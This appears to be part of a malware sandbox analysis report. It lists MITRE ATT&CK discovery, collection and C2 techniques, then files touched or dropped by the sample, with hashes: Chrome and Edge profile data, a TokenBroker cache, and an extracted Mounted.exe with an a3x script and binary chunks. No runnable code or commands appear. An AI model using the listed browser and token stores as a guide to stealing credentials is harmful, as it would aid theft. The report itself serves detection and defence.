Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 7d4f856c4a4199fb4ed45949e0004118e1f27936787263af2fcd453c266d478d
MD5 ba8488b434d2f420d3d912e6118151ec
SHA1 affce006540184bf8b86c264b05f6516092c2e41
SHA512 0ca456a2decff9263086d582fe40bffd517b8a67705e49a6b301db41b50e5f125e5e087fb55fdab1999b02d14974212f7918b6d640abfbfce5fd0cfef4e88567
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OapX6hqrVumlwk8GL:jeuvBnhJsueMEGvIW1DcP2OSLVumln8E
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 84KB
SHA256 dde683e8bb199ac5bde9af92dd75e67ad67abbfde9b4d5820bbcbde7ef5bb7b6
MD5 a73fe06be5e619b8538d7eba330b615e
SHA1 3262e098e68a8b052ada2f464d845db9017816f5
SHA512 b000f12dce9113a0f66b87c769009767e14e05d97ef276d750a158070e2641993e0ec68fb8b09860b0d322b89c2f9146b5cca5f390703c50412a9300dcf308a2
SSDEEP 1536:UG62xC6wySzlcl92uqWCh1AOTFzXE8ICAiFziTiw9OEYc4VRi+I/Ymqq0l:FxHwL54VOF7pUiw9OTvwqhl
MD5 SHA1 SHA512 SSDEEP

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 548d5b978c0a5f08ca91190a17be9d99b687520e67783ef897d0cb9fd83a6ee2
MD5 8d78fae562919297f322825b91d60b56
SHA1 66f1fdd9657b7178611aeffb86c29435fbfb1d93
SHA512 8e7f1f7d28906eb78fb81c5314d8a496af778fa65e9f54fafb392e6a22a409460f7bac5526465a4426cede13a775adc4f97bcde494660dc4a4ac7dcfbcdb1d0b
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 13ef1800c9ed91079ab271dd2e1320c3d14d9604c4ada80db89653b5efe599eb
MD5 5007c454090e758802c966f0e2af3b97
SHA1 ae763acd8cbe133af999c52a7483a0a63b0c6778
SHA512 f6538d2e537682dbd5f4774e32822991296d0d76b34a4a990eb65e047d810ae24b56304e6d1ddd82a06d592ec1b49f722ab34bd127301086cbb00788bd0aa42c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 5a159cf5b10262a2e83a5128f5367fd525475babdacc538d88915c37532d1d89
MD5 a8b30ce7114e0575c8973c1a4ca4aa3f
SHA1 a0d46e221eb1767d8f106edb7dd5b9798a05f253
SHA512 b8f30f4a124d539ce0719a705f7d82a6ea3aefa1b81caff4f73d15b1d017debda4d4fabe82ac176d752d400bdf439310063a3e1e51cc6a66048973d0e4eefe9d
MD5 SHA1 SHA512

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 108KB
SHA256 84ab2d00a9c76d63c3edf4fd0139236f6b94e49bd7889e4f5f63f19941bc1ed1
MD5 902622d177776fafc9f85d74f2ab73b8
SHA1 deb767db94129ecffdcd2ff94970687033409107
SHA512 d219535bf4fd4b1561c34b2e0c9f3938de8a86a85aba4d19f31b413483d01cb6afe611077620907839f4340475f1468c2097318751aeef4a61c64a75751aea2e
SSDEEP 1536:IdcH74ohBGZqW3iPPDuVvpBI/S8tZsA62UYPq:vHSRiPjU1
MD5 SHA1 SHA512 SSDEEP

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 855f1f2d9727cd4848c86793efcf0d5e93a7a222734131c73284fee64441cfbf
MD5 07d7cbc25ec38509945dd22f88b80b47
SHA1 dbd62813809276d91d9233bf49f1ca760b66579b
SHA512 fdc95c9968aafc7cc8c8a63971c6fcd193b6b6267cb321242eca80089e8586fa6c5f515a6f6e38a9845165b7fff418c01a509cca555529df21629b8b68f853dd
SSDEEP 96:ZCKNSyxKA2HKyK+MKzlkKriG8KDJ8Kbb6tKIu1Kw+2gKfd8KDSGoKvJ6HMQ6c8xO:U8/i0zTJkJqj2KsMN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 8bbe94f8b6dd4117d0a6f736d5b63b1f51f05f60197c985fc8bf1724e764d59b
MD5 c1235cf33c478f5affa464ebac3ba223
SHA1 3fdcd3cd3c3eefd18c08761c9509a45f351e8829
SHA512 974e1991113e71da62260bd5c3f990a7bedc0a5d1fefb85c95c35c419f378d71d7e5b94e7c823f98c08dbc221c378ed07711959722719285da868106bef59299
SSDEEP 192:P+xWPdBfT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:mxUfQ9QQn7IMW1hPJuVd6vPkxW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 c45b3c03c755696596d95fe7f7a6cf453524f24fca495aab04c8d28a5aa3632e
MD5 372d91b888a4e6d5339fa3a5e6c55077
SHA1 20091bf71f93d5496b54ca29f114efa11371f41a
SHA512 baa6e97e75fd67b625eee8c00c02158f9c840412b13b6e613f3052eb95c401b8d72b19f3f67e9a7a29c5f4f46a55c1dfa7f800a8be338794a2ba8efe4ede5671
SSDEEP 384:nkiFavqMg3sNj8TUNTUlIm/Nupaz+NXMfbKOct0xSBf0yiZHyvTcxatk0vI+dj:/Fayv38wgpV0KWSBf0RZHyO2fj
MD5 SHA1 SHA512 SSDEEP

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 77fece42393832be8b579861573199e4463f4ddb646bfbc748b0ac35470bd96b
MD5 0459d14bf88c06d6d24ddbb3b440282c
SHA1 1475910f493c203a84083b9cfacef0cf96f92163
SHA512 1fd7f838eb1bfcd0de14be960800cd8c7f78df02abde93d94c3a1af38d8fc2fcfe989cd69efa57fd72bf1dc7f3775f23a7d71c3b8ed9a5cf866f840802b1ee1d
MD5 SHA1 SHA512

Submit Download

Mounted.exe

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\692529\Mounted.exe
Size 957KB
SHA256 02862289fbed08ab4a6e0cbf5bff34579827738aa8b01b388af3877184813b65
MD5 ebc8e59a17bbfc7b73365e3a6b4dac48
SHA1 b864a62b6fa7a2cd17207668469565da890177ce
SHA512 55d4466e3adeb6ef9fbccf766f421a390829265c96e2b84508bdbf939187002214424c1816e3824a8ab558de32944a8d9e4bfbb88eca23b53ff8dc0542b646aa
SSDEEP 24576:OpLy2+H1AvYVJjWrA4A73log5w3aHGrMB:OM2+H1A4jWq71j2rM
MD5 SHA1 SHA512 SSDEEP

Submit Download

k.a3x

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\692529\k.a3x
Size 791KB
SHA256 a595984368b19c00efa30fcb308d6e9d2ff7d0fdad9afa892ce98e96afcd5fec
MD5 a3b8bc6ab0821bfb8bd9e57ee20c62e7
SHA1 fe4092e02bf729c40c1082852c8aa16a65deb0c6
SHA512 c9de7717f5540f237ed70650fc9f5aa254143cc8afa06e11dce20b2cd31e3be6fa3c3cf6fa925c99ef659dc066e0a74478c51eecb0480f3c3669177e1cdea1e6
SSDEEP 24576:zfY4tZwIOEU48X2clDriDlH74thI8y6XAiEC:5fw69cBrAlH0o6eC
MD5 SHA1 SHA512 SSDEEP

Submit Download

Announce.bin

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Announce.bin
Size 205KB
SHA256 454a8b22768b53067684661c307610d98192b4ff4f83a70e8df0c71f5d59a26c
MD5 0594822712a058989d2362e8b994a8ac
SHA1 4cda2d565d1382df594b6f19544cd2dbcfec5300
SHA512 d631292e59629992d2ee991cf1f810fdb8af9ecc57c6fa5aac411ed4ffdbad0786d75015fabee12acb5e4a315a8fcd832c39c782602c91efa1c7844c7d6c4513
SSDEEP 3072:QsJ7r1zaibqWLTqaal7jnOg8LGnYhjJf4NUBC3uOGi3DTRKwHmemSsFI9A7Ix:Q4thqjOg8ynOOqdOGi3hP1sS9
MD5 SHA1 SHA512 SSDEEP

Submit Download

Belfast

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Belfast
Size 398KB
SHA256 347e12d16e1df34c3d8e05e6b2fe9e7b2d44de195278cd988c389add8fbea667
MD5 5f545ba85269b53fe26cdafb8773aec1
SHA1 7462d177180e4c8281a42210332ed0838406c08e
SHA512 f67e0a8c652b958779d82fbe02691a1dc7eca1ae3f4aae41c7eef23d48e69511c3b7bbcf51ee1e3bee3648d6a950be639b31d2b3aed43746aaea9e130bf26b88
SSDEEP 6144:umcLvyhtkv9axZHTx4pQf3WYSDoP8M/AOghDP2uAV5GPsRYajZI:upL6h29iZHTxQQftAHP2uAVqsRfjy
MD5 SHA1 SHA512 SSDEEP

Submit Download

Entities

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Entities
Size 304KB
SHA256 4f5002d4adf4734cf8929612d00e3a2a704219e5f698f28602142ec088b255eb
MD5 04b319d466f36fda2c053c978954be22
SHA1 64033f6c35f21ce6153e5af34576345c58708ee6
SHA512 4dd5fd13b17177ea256ed8e74c9ea5eae220732592301d7c4ad0c19025177b5207f83bc945a69005a0a571430b009f194115d94b893244b6cadc0d7efde1860a
SSDEEP 6144:3Z/TAAf9JSnPN/FYJMb73dAKVOJLwfKkoyISRddLAOz04M:p/TASDSnPN/FYmb739cpkLogdLe4M
MD5 SHA1 SHA512 SSDEEP

Submit Download

Hyundai

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Hyundai
Size 252KB
SHA256 7757d7b484604aa37562e54c6fc67005574960f025425fa3a45a840958543bae
MD5 d674983b74c6a0f91bbeb9eceee8eb16
SHA1 b76ffc4814187d5c95759f6bd709b70c3431a25c
SHA512 f4fb8136322b31066a2abd364c51019a183e6237eca02438bc613b00a62941046b95ee788da4cfcca5b6c2084cb700010a3073ad6e3bf2e43ee86544c747d27b
SSDEEP 3072:4BN3JaAt41PfaB6OJRkrJrRj4nHDWy4ZNorgK4+vQR3iJp6vS0eQ:gXdO13aB6WGrRcHaBZ2r1T63Q6J
MD5 SHA1 SHA512 SSDEEP

Submit Download

Impacts

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Impacts
Size 2KB
SHA256 7f4154a42b15427b1f8ec8a6b3e3fc5141327d659629b49d1befd2116e4650af
MD5 2e0fe8b78af446b6478048ac76023947
SHA1 ac3e69fa169d81616ffeb47643bf3931841e1147
SHA512 cb649f5ce4ac152cdb873692a9ee65bfe5ba91ec89a30fff31281037227ba81970d9a3baa30acc4d48d183709705196ae51b0364f6e215cb7fba04ec29900180
MD5 SHA1 SHA512

Submit Download

Mn.bin

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Mn.bin
Size 7KB
SHA256 f415d073715c08d007c017f1b57e37ceea0ecedaac1f0bee3dbc785049db8d44
MD5 ded99eb716632c59a7a14e0d583ed6bd
SHA1 598459ed6683ecd27c07cd72939f7476c34798c1
SHA512 cdbaa54e8f76ea7664f0078bb4b418cfde9afae3474a03fd61f7913bd119fb5bc5cc606796f621a4917d5cded7c92342ae7383fb0608cebd7c5cb904b5c8edf7
SSDEEP 192:ayJYIuhJncbxgNFw9DwIaHdeBZS44l4/ehVZB8PQdEGQgEX:AFhJnCSNFAsh9OZMvVD8odEwEX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Modern.bin

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Modern.bin
Size 7KB
SHA256 094e742764d8d56854481fb148c522cd9151c3ebd8bc29c65b297d0afeeb227a
MD5 c0c237824aabbf711ccaf304e171548a
SHA1 d925dd16a1f2c95e91d881da5bb33cd4667001be
SHA512 035bfe40706c75e7beb512bf4bbfe251ac6014d4b0a90c770326ca2f6b0d6462aa1bfff294e3dd52dd5b902c7f7211b4bab6d5316a6bb463e34d58f872d9ed2c
SSDEEP 192:K3RG3B5daPK4ugjeqqvlZXqZv9mY9mpYmY8wQppHM1:KRU/lZ6Z134pjY8wOs1
MD5 SHA1 SHA512 SSDEEP

Submit Download

Sexo.bin

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Sexo.bin
Size 293KB
SHA256 92b6025342b3fd642604c9aafcc9f2627b162a2c623d5ff3946cdfadc5f551e1
MD5 95c44cfce62dbfd61c06611c570a3a26
SHA1 7e48f8a810ef1e0d37ed723d56b2b803ff1fd29e
SHA512 eeca97be5da274272e9c95249316046a47dbbc4091ff8025a0b4d6dd96b7c905fd6be99e7dec4e2a530f55614eb9e4760742c11011b2ebb6d335fca3e7fa2ef0
SSDEEP 6144:GKPfY7b4cZWB719Rbug7vyJ9RRq9SoEgdEI3S7gb:zfY4t71vNSIOIiEb
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.bin

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\System.bin
Size 286KB
SHA256 32ee85823a5f1c94e01cff245f65a8b68effa6f95cfbf179136cca1fc47f1e10
MD5 06fde694f1acad58420102a387bd264b
SHA1 9170601ab0886353de41321fbee3e1d3d6112514
SHA512 676086ea126a293e224a963a3d2c47e9d5674c91196e111857132f45cbbee0c69fcff087d5fa9f6f95d1dd8171952c71dfdf166583313b5b9635384431032618
SSDEEP 6144:/mH7r4NCweAYgg7IQgPrTvKB/Dpa6nfoAFtz/zU2N3YRVIxQfHM:/mHv48aYCNPrjKZlNwArBYRVIxGHM
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_onllue4y.a44.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onllue4y.a44.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2084-36-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2084-78-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2084-41-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2084-39-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2084-40-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2084-35-0x00000000034A0000-0x00000000034A1000-memory.dmp

Download

memory/2084-37-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2084-38-0x0000000004230000-0x0000000004293000-memory.dmp

Download

memory/2300-244-0x0000000005500000-0x0000000005566000-memory.dmp

Download

memory/2300-254-0x0000000005C70000-0x0000000005C8E000-memory.dmp

Download

memory/2300-243-0x0000000004C70000-0x0000000004C92000-memory.dmp

Download

memory/2300-241-0x00000000022E0000-0x0000000002316000-memory.dmp

Download

memory/2300-245-0x00000000055E0000-0x0000000005646000-memory.dmp

Download

memory/2300-261-0x00000000081C0000-0x0000000008764000-memory.dmp

Download

memory/2300-253-0x0000000005650000-0x00000000059A4000-memory.dmp

Download

memory/2300-242-0x0000000004ED0000-0x00000000054F8000-memory.dmp

Download

memory/2300-255-0x0000000005CB0000-0x0000000005CFC000-memory.dmp

Download

memory/2300-256-0x00000000073C0000-0x0000000007A3A000-memory.dmp

Download

memory/2300-257-0x0000000006D60000-0x0000000006D7A000-memory.dmp

Download

memory/2300-258-0x0000000007A40000-0x0000000007C02000-memory.dmp

Download

memory/2300-259-0x00000000072C0000-0x0000000007356000-memory.dmp

Download

memory/2300-260-0x0000000007250000-0x0000000007272000-memory.dmp

Download

memory/2368-237-0x000001E5918E0000-0x000001E5928E0000-memory.dmp

Download